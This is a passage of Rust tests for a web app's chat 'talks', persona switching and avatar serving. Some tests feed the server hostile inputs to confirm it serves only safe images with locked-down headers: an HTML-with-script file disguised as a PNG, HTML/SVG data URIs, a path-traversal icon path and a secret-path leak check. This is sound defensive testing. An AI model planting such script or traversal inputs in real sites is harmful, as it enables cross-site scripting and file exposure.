11221 std::fs::create_dir_all(&repo).expect("repo dir");
11222 std::fs::write(
11223 repo.join("magi.toml"),
11224 format!("{MOCK_AGENT_TOML}\n{extra}"),
11225 )
11226 .expect("write magi.toml");
11227 let home = TempDir::new().expect("temp home");
11228 let talks = Talks::at(home.path().join("talks"));
11229 let ui = Arc::new(
11230 Ui::new(
11231 Queue::at(home.path().join("queue")),
11232 Questions::at(home.path().join("questions")),
11233 talks.clone(),
11234 home.path().join("runs"),
11235 home.path().to_path_buf(),
11236 repo.clone(),
11237 )
11238 .with_worktrees_root(home.path().join("wt")),
11239 );
11240 let cfg = config_for(&repo).await.expect("discover config");
11241 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11242 (tmp, home, ui, talk.id, repo)
11243 }
11244
11245 #[tokio::test]
11246 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11247 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11248 let mut conversation = ui.talks.get(&id).unwrap();
11249 talk::record(
11250 &mut conversation,
11251 &ui.talks,
11252 "# Update on a task you filed\noperator words",
11253 vec![],
11254 )
11255 .unwrap();
11256 conversation.turns[0].sender = None;
11258 conversation.turns[0].messages.clear();
11259 ui.talks.put(&mut conversation).unwrap();
11260 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11261 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11262 talk::drain(&mut conversation, &ui.talks).unwrap();
11263 talk::record_reply(
11264 &mut conversation,
11265 &ui.talks,
11266 "about that report",
11267 vec![],
11268 Some(talk::ReplyTarget {
11269 turn: 1,
11270 message: 1,
11271 }),
11272 )
11273 .unwrap();
11274 conversation.turns[2].messages[0]
11275 .reply
11276 .as_mut()
11277 .unwrap()
11278 .sender = None;
11279 conversation.turns.push(talk::Turn {
11280 sender: Some(talk::Sender::Persona),
11281 who: talk::Who::Agent,
11282 body: "magi: actual persona words".into(),
11283 at: Timestamp::now(),
11284 attachments: vec![],
11285 usage: None,
11286 breaks: None,
11287 messages: vec![],
11288 posted_by: None,
11289 });
11290 ui.talks.put(&mut conversation).unwrap();
11291 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11292 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11293 assert_eq!(
11294 view.talk.turns[1].messages[0].sender,
11295 Some(talk::Sender::Operator)
11296 );
11297 assert_eq!(
11298 view.talk.turns[1].messages[1].sender,
11299 Some(talk::Sender::Magi)
11300 );
11301 assert_eq!(
11302 view.talk.turns[2].messages[0]
11303 .reply
11304 .as_ref()
11305 .unwrap()
11306 .sender,
11307 Some(talk::Sender::Magi)
11308 );
11309 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11310 }
11311
11312 #[tokio::test]
11313 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
11314 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11315 let mut conversation = ui.talks.get(&id).unwrap();
11316 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
11317 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11318 talk::queue_notice(
11319 &mut conversation,
11320 &ui.talks,
11321 &body,
11322 "watch:123",
11323 &|_| false,
11324 None,
11325 display.clone(),
11326 )
11327 .unwrap();
11328 assert!(
11329 !talk::queue_notice(
11330 &mut conversation,
11331 &ui.talks,
11332 &body,
11333 "watch:123",
11334 &|_| false,
11335 None,
11336 display.clone()
11337 )
11338 .unwrap()
11339 );
11340 let saved = ui.talks.get(&id).unwrap();
11341 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
11342 let view = TalkView::with_config(saved, false, None, &ui.home);
11343 assert!(
11344 view.talk.turns[0].messages[0].display.is_none(),
11345 "operator copy stays literal"
11346 );
11347 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
11348 talk::drain(&mut conversation, &ui.talks).unwrap();
11349 talk::record_reply(
11350 &mut conversation,
11351 &ui.talks,
11352 "Explain",
11353 vec![],
11354 Some(talk::ReplyTarget {
11355 turn: 1,
11356 message: 0,
11357 }),
11358 )
11359 .unwrap();
11360 let mut saved = ui.talks.get(&id).unwrap();
11361 assert_eq!(saved.turns[1].messages[0].body, body);
11362 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
11363 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
11364 assert!(!reply.excerpt.contains("automatic report"));
11365 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
11368 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11369 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
11370 assert!(
11371 !view.talk.turns[2].messages[0]
11372 .reply
11373 .as_ref()
11374 .unwrap()
11375 .excerpt
11376 .contains("automatic report")
11377 );
11378 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
11379 }
11380
11381 #[tokio::test]
11382 async fn notification_display_recovers_exact_legacy_completion_references() {
11383 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11384 let mut conversation = ui.talks.get(&id).unwrap();
11385 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
11386 id: "task-123",
11387 title: "Change",
11388 status: "done",
11389 reason: None,
11390 run: Some("run-123"),
11391 pr: None,
11392 summary: Some("Merge state unknown"),
11393 });
11394 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11395 conversation.turns[0].sender = None;
11396 conversation.turns[0].messages.clear();
11397 conversation.turns[0].breaks = None;
11398 conversation.pending = body.clone();
11399 conversation
11400 .completion_notices
11401 .push(crate::chat_notify::CompletionReference {
11402 task: "task-123".into(),
11403 run: Some("run-123".into()),
11404 notice: body.clone(),
11405 });
11406 ui.talks.put(&mut conversation).unwrap();
11407 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11408 assert_eq!(
11409 view.talk.turns[0].messages[0].display,
11410 Some(display.clone())
11411 );
11412 assert_eq!(view.talk.pending_messages[0].display, Some(display));
11413 assert_eq!(
11414 view.talk.turns[0].messages[0].sender,
11415 Some(talk::Sender::Magi)
11416 );
11417 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
11418 conversation.completion_notices[0]
11419 .notice
11420 .push_str("different");
11421 let view = TalkView::with_config(conversation, false, None, &ui.home);
11422 assert!(view.talk.turns[0].messages.is_empty());
11423 assert!(view.talk.pending_messages.is_empty());
11424 }
11425
11426 #[tokio::test]
11427 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
11428 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
11429 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11430 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
11431 let _ = magi_icon_put(
11432 State(ui.clone()),
11433 Json(MagiIconUpload { icon: icon.into() }),
11434 )
11435 .await
11436 .unwrap();
11437 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11438 assert_ne!(original, changed);
11439 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11440 let response = magi_avatar(
11441 State(ui.clone()),
11442 Query(AvatarQuery {
11443 persona: None,
11444 builtin: None,
11445 }),
11446 )
11447 .await;
11448 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
11449 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
11450 assert_eq!(
11451 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
11452 "nosniff"
11453 );
11454 for bad in [
11455 "data:image/png;base64,PGh0bWw+".to_owned(),
11456 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
11457 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
11458 ] {
11459 assert!(save_magi_icon(home.path(), &bad).is_err());
11460 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11461 }
11462 let restarted = Arc::new(Ui::new(
11464 Queue::at(home.path().join("queue")),
11465 Questions::at(home.path().join("questions")),
11466 Talks::at(home.path().join("talks")),
11467 home.path().join("runs"),
11468 home.path().to_path_buf(),
11469 repo,
11470 ));
11471 assert_eq!(
11472 magi_icon_get(State(restarted.clone())).await.0["avatar"],
11473 changed
11474 );
11475 let view = TalkView::with_config(
11476 restarted.talks.get(&id).unwrap(),
11477 false,
11478 None,
11479 &restarted.home,
11480 );
11481 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
11482 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
11483 let response = magi_avatar(
11484 State(ui.clone()),
11485 Query(AvatarQuery {
11486 persona: None,
11487 builtin: None,
11488 }),
11489 )
11490 .await;
11491 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
11492 .await
11493 .unwrap();
11494 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
11495 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
11496 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
11497 let _ = magi_icon_delete(State(ui)).await.unwrap();
11498 }
11499
11500 async fn avatar(
11502 ui: &Arc<Ui>,
11503 id: &str,
11504 persona: Option<&str>,
11505 builtin: bool,
11506 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11507 let res = talk_avatar(
11508 State(Arc::clone(ui)),
11509 Path(id.to_owned()),
11510 Query(AvatarQuery {
11511 persona: persona.map(str::to_owned),
11512 builtin: builtin.then(|| "1".to_owned()),
11513 }),
11514 )
11515 .await
11516 .expect("an avatar is never an error response");
11517 let h = res.headers();
11518 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11519 let nosniff = h
11520 .get(header::X_CONTENT_TYPE_OPTIONS)
11521 .is_some_and(|v| v == "nosniff");
11522 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11523 let status = res.status();
11524 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11525 .await
11526 .expect("body")
11527 .to_vec();
11528 (status, ct, nosniff, csp, body)
11529 }
11530
11531 fn tiny_png() -> Vec<u8> {
11532 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11533 b.extend_from_slice(&[0u8; 32]);
11534 b
11535 }
11536
11537 #[tokio::test]
11538 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11539 let res = operator_avatar().await;
11540 assert_eq!(res.status(), StatusCode::OK);
11541 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11542 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11543 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11544 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11545 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11546 .await
11547 .unwrap();
11548 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11549 assert_ne!(
11550 persona_icon::operator_svg(),
11551 persona_icon::builtin_svg("default")
11552 );
11553 }
11554
11555 #[tokio::test]
11556 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11557 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11558 for p in [
11559 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11560 ] {
11561 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11562 assert_eq!(status, StatusCode::OK, "{p}");
11563 assert_eq!(ct, "image/svg+xml", "{p}");
11564 assert!(nosniff && csp, "{p}");
11565 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11566 }
11567 let own = avatar(&ui, &id, None, false).await;
11569 let default = avatar(&ui, &id, Some("default"), false).await;
11570 assert_eq!(own.4, default.4);
11571 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11572 assert_eq!(unknown.1, "image/svg+xml");
11573 }
11574
11575 #[tokio::test]
11576 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11577 let dir = TempDir::new().expect("icons");
11578 let good = dir.path().join("good.png");
11579 std::fs::write(&good, tiny_png()).unwrap();
11580 let spoof = dir.path().join("spoof.png");
11581 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11582 let big = dir.path().join("big.png");
11583 let mut bytes = tiny_png();
11584 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11585 std::fs::write(&big, bytes).unwrap();
11586 let missing = dir.path().join("missing.png");
11587 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11588 let extra = format!(
11589 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11590 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11591 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11592 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11593 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11594 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11595 uri(&good),
11596 uri(&spoof),
11597 uri(&big),
11598 uri(&missing),
11599 );
11600 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11601
11602 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11603 assert_eq!(
11604 (status, ct.as_str(), nosniff),
11605 (StatusCode::OK, "image/png", true)
11606 );
11607 assert_eq!(body, tiny_png());
11608 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11609 assert_eq!(ct, "image/png", "data URI");
11610
11611 for p in ["misato", "asuka", "shinji", "magi"] {
11612 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11613 assert_eq!(
11614 (status, ct.as_str(), csp),
11615 (StatusCode::OK, "image/svg+xml", true),
11616 "{p}"
11617 );
11618 assert!(body.starts_with(b"<svg"), "{p}");
11619 }
11620 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11622 assert_eq!(ct, "image/svg+xml");
11623 }
11624
11625 #[tokio::test]
11626 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11627 let oversized = format!(
11628 "data:image/png;base64,{}",
11629 "A".repeat(persona_icon::ICON_MAX_BYTES)
11630 );
11631 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11632 let extra = format!(
11633 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11634 );
11635 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11636 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11637 .await
11638 .expect("detail with invalid icon");
11639 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11640 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11641 assert_eq!(status, StatusCode::OK);
11642 assert_eq!(ct, "image/svg+xml");
11643 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11644 let Json(view) = talk_persona(
11645 State(Arc::clone(&ui)),
11646 Path(id.clone()),
11647 Json(TalkPersona {
11648 persona: "custom".into(),
11649 }),
11650 )
11651 .await
11652 .expect("persona switch with invalid icon");
11653 assert_eq!(view.talk.persona, "custom");
11654 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11655 }
11656 }
11657
11658 #[tokio::test]
11659 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11660 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11661 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11662 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11663 assert_eq!(
11664 (status, ct.as_str(), nosniff, csp),
11665 (StatusCode::OK, "image/svg+xml", true, true)
11666 );
11667 }
11668
11669 #[tokio::test]
11670 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11671 let (_t, _h, ui, id, _repo) =
11672 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11673 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11674 .await
11675 .expect("detail");
11676 let json = serde_json::to_string(&detail).unwrap();
11677 assert!(
11678 !json.contains("secret"),
11679 "the icon setting must not leak: {json}"
11680 );
11681 assert!(
11682 detail
11683 .view
11684 .persona_avatar
11685 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11686 );
11687 assert_eq!(
11688 detail.view.operator_avatar,
11689 format!(
11690 "/avatars/operator.svg?v={}",
11691 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11692 )
11693 );
11694 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11695 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11696 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11697 assert!(rei.avatar.contains("persona=rei&v="));
11698 assert_ne!(
11699 rei.avatar.split("&v=").nth(1),
11700 plain.avatar.split("&v=").nth(1)
11701 );
11702 }
11703
11704 #[tokio::test]
11705 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11706 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11707 let cfg = config_for(&repo).await.unwrap();
11708 for arrived in [false, true] {
11709 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11710 let observed = ui.queued_generation(&id);
11711 let talk = ui.talks.get(&id).unwrap();
11712 if arrived {
11713 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11714 }
11715 let mut settling = std::pin::pin!(settle_settings_turn(
11716 talk,
11717 ui.talks.clone(),
11718 cfg.clone(),
11719 id.clone(),
11720 turn,
11721 observed
11722 ));
11723 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11724 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11725 assert_eq!(first.is_pending(), arrived);
11726 if arrived {
11727 assert!(!settling.await);
11728 }
11729 assert!(!ui.is_thinking(&id));
11730 }
11731 }
11732
11733 #[tokio::test]
11734 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11735 let tmp = TempDir::new().expect("tempdir");
11736 let repo = tmp.path().join("repo");
11737 std::fs::create_dir_all(&repo).expect("repo dir");
11738 std::fs::write(
11739 repo.join("magi.toml"),
11740 format!(
11741 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11742 ),
11743 )
11744 .expect("write magi.toml");
11745 let home = TempDir::new().expect("temp home");
11746 let talks = Talks::at(home.path().join("talks"));
11747 let ui = Arc::new(
11748 Ui::new(
11749 Queue::at(home.path().join("queue")),
11750 Questions::at(home.path().join("questions")),
11751 talks.clone(),
11752 home.path().join("runs"),
11753 home.path().to_path_buf(),
11754 repo.clone(),
11755 )
11756 .with_worktrees_root(home.path().join("wt")),
11757 );
11758 let cfg = config_for(&repo).await.expect("discover config");
11759 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11760 let id = talk.id.clone();
11761 let call = |persona: &str| {
11762 talk_persona(
11763 State(Arc::clone(&ui)),
11764 Path(id.clone()),
11765 Json(TalkPersona {
11766 persona: persona.to_owned(),
11767 }),
11768 )
11769 };
11770
11771 let unknown = call("nobody").await.expect_err("unknown persona");
11772 assert_eq!(
11773 unknown.status,
11774 StatusCode::BAD_REQUEST,
11775 "{}",
11776 unknown.message
11777 );
11778
11779 {
11780 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11783 let busy = call("rei").await.expect_err("busy talk");
11784 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11785 assert!(
11786 busy.message.contains("a talk turn is running"),
11787 "{}",
11788 busy.message
11789 );
11790 drop(guard);
11791 }
11792 assert_eq!(talks.get(&id).expect("reload").persona, "");
11793
11794 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11795 assert_eq!(view.talk.persona, "gendo");
11796 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11797 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11798 for chosen in ["default", "gendo", "rei", "gendo"] {
11800 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11801 assert!(!view.thinking);
11802 assert!(!ui.is_thinking(&id));
11803 }
11804
11805 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11806 .await
11807 .expect("detail");
11808 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11809 assert_eq!(ids.first(), Some(&"default"));
11810 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11811
11812 let Json(view) = call("default").await.expect("back to default");
11813 assert_eq!(view.talk.persona, "");
11814
11815 let mut closed = talks.get(&id).expect("reload");
11816 talk::close(&mut closed, &talks).expect("close");
11817 let refused = call("rei").await.expect_err("closed talk");
11818 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11819 assert!(
11820 refused.message.contains("takes no more turns"),
11821 "{}",
11822 refused.message
11823 );
11824 }
11825
11826 #[tokio::test]
11827 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11828 let f = Fixture::start().await;
11829 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11830 let queue = f.queue();
11831 let mut mine = Task::new(
11832 "rename the loader".to_owned(),
11833 "rename the loader".to_owned(),
11834 PathBuf::from("/repo/magi"),
11835 Source::Agent {
11836 run: talk_id.clone(),
11837 node: "chat".to_owned(),
11838 },
11839 );
11840 queue.put(&mut mine).expect("file the task");
11841 let mut theirs = Task::new(
11842 "unrelated".to_owned(),
11843 "unrelated".to_owned(),
11844 PathBuf::from("/repo/magi"),
11845 Source::Human,
11846 );
11847 queue.put(&mut theirs).expect("file the task");
11848
11849 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11850 assert_eq!(res.status, 200, "{}", res.body);
11851 let body = res.json();
11852 assert_eq!(
11853 body["status"], "open",
11854 "filing a task does not close a talk"
11855 );
11856 let tasks = body["tasks"].as_array().expect("tasks array");
11857 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11858 assert_eq!(tasks[0]["id"], mine.id);
11859 }
11860
11861 #[tokio::test]
11862 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11863 let (_tmp, _repo, f) = talk_fixture().await;
11864 let id = f.post("/api/talks", None).await.json()["id"]
11865 .as_str()
11866 .expect("id")
11867 .to_owned();
11868
11869 let res = f
11870 .post(
11871 &format!("/api/talks/{id}/say"),
11872 Some(r#"{"text":"what does the queue module do?"}"#),
11873 )
11874 .await;
11875 assert_eq!(res.status, 202, "{}", res.body);
11876 let queued = res.json();
11877 let turns = queued["turns"].as_array().expect("turns array");
11878 assert_eq!(
11879 turns.len(),
11880 1,
11881 "the answer reflects only what is on disk the instant it is sent, \
11882 before the agent's turn - which can run for the whole of \
11883 `[graph] timeout_talk` - has a chance to land: {queued}"
11884 );
11885 assert_eq!(turns[0]["who"], "operator");
11886 assert_eq!(turns[0]["body"], "what does the queue module do?");
11887 assert_eq!(
11888 queued["thinking"], true,
11889 "the accepted response exposes the background turn claim: {queued}"
11890 );
11891
11892 let mut turns_after = 1;
11893 for _ in 0..SETTLE_STEPS {
11894 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11895 turns_after = detail["turns"].as_array().expect("turns array").len();
11896 if turns_after == 2 {
11897 break;
11898 }
11899 tokio::time::sleep(Duration::from_millis(10)).await;
11900 }
11901 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11902 }
11903
11904 #[tokio::test]
11931 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11932 let tmp = TempDir::new().expect("tempdir");
11933 let repo = tmp.path().join("repo");
11934 std::fs::create_dir_all(&repo).expect("repo dir");
11935 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11936 let home = TempDir::new().expect("temp home");
11937 let talks = Talks::at(home.path().join("talks"));
11938 let ui = Arc::new(
11939 Ui::new(
11940 Queue::at(home.path().join("queue")),
11941 Questions::at(home.path().join("questions")),
11942 talks.clone(),
11943 home.path().join("runs"),
11944 home.path().to_path_buf(),
11945 repo.clone(),
11946 )
11947 .with_worktrees_root(home.path().join("wt")),
11948 );
11949 let cfg = config_for(&repo).await.expect("discover config");
11950
11951 for delay in 0..40u32 {
11952 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11953 let id = talk.id.clone();
11954
11955 let handler = tokio::spawn(talk_say(
11956 State(Arc::clone(&ui)),
11957 Path(id.clone()),
11958 Ok(Json(NewTalkTurn {
11959 reply_to: None,
11960 text: "what does the queue module do?".to_owned(),
11961 attachments: Vec::new(),
11962 })),
11963 ));
11964 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11965 handler.abort();
11966 let _ = handler.await;
11969
11970 let mut turns = 0;
11971 for _ in 0..SETTLE_STEPS {
11972 if let Ok(fresh) = talks.get(&id) {
11973 turns = fresh.turns.len();
11974 if turns != 1 {
11975 break;
11976 }
11977 }
11978 tokio::time::sleep(Duration::from_millis(10)).await;
11979 }
11980 assert_ne!(
11981 turns, 1,
11982 "delay {delay}: talk {id} recorded the operator's turn but \
11983 the agent never answered - the reply task was never \
11984 started after the handler future was dropped"
11985 );
11986 }
11987 }
11988
11989 #[tokio::test]
12034 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12035 let tmp = TempDir::new().expect("tempdir");
12036 let repo = tmp.path().join("repo");
12037 std::fs::create_dir_all(&repo).expect("repo dir");
12038 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12039 let home = TempDir::new().expect("temp home");
12040 let talks = Talks::at(home.path().join("talks"));
12041 let ui = Arc::new(
12042 Ui::new(
12043 Queue::at(home.path().join("queue")),
12044 Questions::at(home.path().join("questions")),
12045 talks.clone(),
12046 home.path().join("runs"),
12047 home.path().to_path_buf(),
12048 repo.clone(),
12049 )
12050 .with_worktrees_root(home.path().join("wt")),
12051 );
12052 let cfg = config_for(&repo).await.expect("discover config");
12053
12054 for attempt in 0..3u32 {
12055 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12056 let id = talk.id.clone();
12057 let turn_guard = ui
12060 .begin_talk_turn(&id)
12061 .expect("claim the turn")
12062 .expect("a fresh talk owes nobody a turn");
12063
12064 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12065 let (release_tx, release_rx) = std::sync::mpsc::channel();
12066 ui.set_busy_queue_gate(BusyQueueGate {
12067 reached: reached_tx,
12068 release: release_rx,
12069 });
12070
12071 let handler = tokio::spawn(talk_say(
12072 State(Arc::clone(&ui)),
12073 Path(id.clone()),
12074 Ok(Json(NewTalkTurn {
12075 reply_to: None,
12076 text: "what does the queue module do?".to_owned(),
12077 attachments: Vec::new(),
12078 })),
12079 ));
12080
12081 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12086 .await
12087 .unwrap_or_else(|_| {
12088 panic!(
12089 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12090 )
12091 })
12092 .expect("the busy branch dropped the gate without using it");
12093
12094 let running = talks.get(&id).expect("reload talk");
12101 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12102
12103 handler.abort();
12107 let _ = handler.await;
12108
12109 let _ = release_tx.send(());
12115
12116 let mut fresh = talks.get(&id).expect("reload talk");
12119 for _ in 0..SETTLE_STEPS {
12120 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
12121 break;
12122 }
12123 tokio::time::sleep(Duration::from_millis(10)).await;
12124 fresh = talks.get(&id).expect("reload talk");
12125 }
12126 assert!(
12127 fresh.pending.is_empty() && fresh.turns.len() == 2,
12128 "attempt {attempt}: talk {id} left the operator's text queued \
12129 with no drainer - the reclaimed turn was dropped along with \
12130 the handler future (pending {:?}, {} turns)",
12131 fresh.pending,
12132 fresh.turns.len()
12133 );
12134 }
12135 }
12136
12137 #[tokio::test]
12138 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
12139 let (_tmp, _repo, f) = talk_fixture().await;
12140 let id = f.post("/api/talks", None).await.json()["id"]
12141 .as_str()
12142 .expect("id")
12143 .to_owned();
12144 let store = f.talks();
12145 let mut recovered = store.get(&id).expect("opened talk");
12146 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12147 .expect("persist pending draft without a live turn");
12148
12149 let edited = f
12150 .post(
12151 &format!("/api/talks/{id}/pending/edit"),
12152 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
12153 )
12154 .await;
12155 assert_eq!(edited.status, 200, "{}", edited.body);
12156 assert!(edited.json()["thinking"].as_bool().unwrap());
12157
12158 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
12159 for _ in 0..SETTLE_STEPS {
12160 if detail["turns"].as_array().expect("turns").len() == 2 {
12161 break;
12162 }
12163 tokio::time::sleep(Duration::from_millis(10)).await;
12164 detail = f.get(&format!("/api/talks/{id}")).await.json();
12165 }
12166 let turns = detail["turns"].as_array().expect("turns");
12167 assert_eq!(
12168 turns.len(),
12169 2,
12170 "the recovered draft must run once: {detail}"
12171 );
12172 assert_eq!(turns[0]["body"], "corrected");
12173 assert_eq!(detail["pending"], "");
12174 }
12175
12176 #[tokio::test]
12177 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
12178 let tmp = TempDir::new().expect("tempdir");
12179 let repo = tmp.path().join("repo");
12180 std::fs::create_dir_all(&repo).expect("repo dir");
